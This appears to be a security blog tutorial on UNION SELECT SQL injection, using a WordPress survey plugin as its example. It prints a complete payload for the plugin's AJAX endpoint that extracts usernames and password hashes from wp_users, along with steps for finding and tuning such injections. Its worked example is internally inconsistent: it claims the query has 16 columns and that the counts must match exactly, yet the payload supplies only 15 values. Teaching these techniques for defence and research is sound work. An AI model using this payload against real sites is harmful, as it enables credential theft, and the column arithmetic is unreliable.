UNION SELECT SQL Injection: Concepts and a Practical Example

Published on April 16, 2025

1. Introduction

SQL injection remains one of the most common and potentially devastating web application vulnerabilities. The UNION SELECT technique allows an attacker to combine the results of a legitimate query with those from a malicious query under their control. This article explains how UNION SELECT injections work using an example from a vulnerable WordPress plugin and describes a methodical approach to finding such vulnerabilities.

2. Vulnerability Context

Many WordPress plugins—especially those that manage surveys or polls—execute SQL queries to retrieve data from internal tables. For instance, a plugin may retrieve a survey question from a dedicated table. When an input parameter, such as question_id, is not properly validated or escaped, an attacker may inject SQL commands into this parameter.

Scenario Example

Consider an AJAX endpoint provided by the plugin:
/wp-admin/admin-ajax.php?action=get_question&question_id=1
If the question_id parameter is vulnerable, it might be possible to inject a UNION SELECT clause that forces the query to return data from another table (for example, wp_users, which stores usernames and passwords).

3. The Principle Behind UNION SELECT Injection

3.1. How the UNION Clause Works

The SQL UNION clause combines the results of two separate queries. For the UNION to work, both queries must return the same number of columns, and the corresponding columns must have compatible data types. For example, if the original query is: 

SELECT column1, column2, column3, column4 FROM table WHERE condition;

then an injected query must also return four columns, such as: 

UNION SELECT value1, value2, value3, value4 FROM another_table;

3.2. The Challenge of Column Count and Order

  • Determine the exact number of columns in the original query (using techniques like ORDER BY tests).
  • Ensure that data types and critical values match. In our example, the third column must exactly be "text" for the injection to succeed.

4. A Concrete Example: Injection Payload in Perfect Survey

Consider the following injection payload: 

/wp-admin/admin-ajax.php?action=get_question&question_id=1%20union%20select%201,1,char(116,101,120,116),user_login,user_pass,0,0,null,null,null,null,null,null,null,null%20from%20wp_users

4.1. Decoding the Payload

When URL-decoded, the modified question_id parameter becomes: 

1 union select 1,1,char(116,101,120,116),user_login,user_pass,0,0,null,null,null,null,null,null,null,null from wp_users

In this injection:
- 1 and 1: These constants serve as placeholders for the first two columns (e.g., question ID and survey ID).
- char(116,101,120,116): This function call returns the string "text", which is exactly what the application expects in the third column.
- user_login and user_pass: These columns extract sensitive data from the wp_users table.
- 0, 0, and multiple null values: They fill out the remaining columns so that the total number of columns in the UNION SELECT exactly matches the original query.

4.2. Hypothetical Original Query

Based on the payload, we can infer that the original query likely resembles the following: 

SELECT 
    question_id,       -- Column 1 (placeholder: injected value 1)
    survey_id,         -- Column 2 (placeholder: injected value 1)
    question_type,     -- Column 3 (must be "text")
    question_text,     -- Column 4 (injection retrieves user_login)
    question_author,   -- Column 5 (injection retrieves user_pass)
    is_required,       -- Column 6 (injected value 0)
    sort_order,        -- Column 7 (injected value 0)
    extra_col1,        -- Column 8 (null)
    extra_col2,        -- Column 9 (null)
    extra_col3,        -- Column 10 (null)
    extra_col4,        -- Column 11 (null)
    extra_col5,        -- Column 12 (null)
    extra_col6,        -- Column 13 (null)
    extra_col7,        -- Column 14 (null)
    extra_col8,        -- Column 15 (null)
    extra_col9         -- Column 16 (null)
FROM wp_survey_questions
WHERE question_id = '1';

By injecting our UNION SELECT payload, we force the database to return a combined result where the critical third column exactly yields "text", and other columns contain our chosen constant values or the sensitive data from wp_users.

5. How to Discover Such a SQL Injection Vulnerability

5.1. Identifying the Injection Point

  • Initial Enumeration: Use tools like WPScan to list installed plugins, their versions, and known vulnerabilities. In our example, Perfect Survey is identified as a potential candidate.
  • Parameter Testing: Inject special characters (e.g., an apostrophe ') into the question_id parameter. Even if the server returns escaped characters instead of SQL errors, it might indicate that the parameter is being filtered and is potentially injectable.
  • Fuzzing Techniques: Employ tools such as Burp Suite or sqlmap to send a wide range of payloads while monitoring any subtle differences in the server response.

5.2. Determining the Column Count

  • ORDER BY Testing: Injecting payloads like ORDER BY 1, ORDER BY 2, etc., can help determine the number of columns. The query will fail when the specified column index exceeds the actual column count.
  • Incremental UNION SELECT: Once you have an estimation, build payloads using constant values (e.g., 1, 0, or null) until the number and types of columns exactly match the original query.

5.3. Refining the Payload

  • Returning Key Values: Modify your payload to return sensitive data from the target table (for example, user_login and user_pass from wp_users).
  • Fine-Tuning Column Content: Ensure that critical columns exactly match the expected values. In our example, the application expects the third column to return exactly "text" (achieved via char(116,101,120,116)); even a slight difference (e.g., "textt") will cause the injection to fail.

6. Conclusion

The UNION SELECT SQL injection works by perfectly matching the number and order of columns between the original query and the injected query. In our example, the original query likely returns 16 columns, with the third column expected to be "text". By carefully reproducing this structure—using constants (1, 0, null) for most columns and char(116,101,120,116) to yield "text"—the injected query is accepted and sensitive data is returned.

Discovering such a vulnerability involves a systematic approach: identifying a vulnerable parameter, determining the correct column count, and iteratively refining the payload. While it requires thorough testing, persistence, and expertise, these methods allow researchers to uncover even those hidden vulnerabilities that do not provide obvious error messages.

Related Articles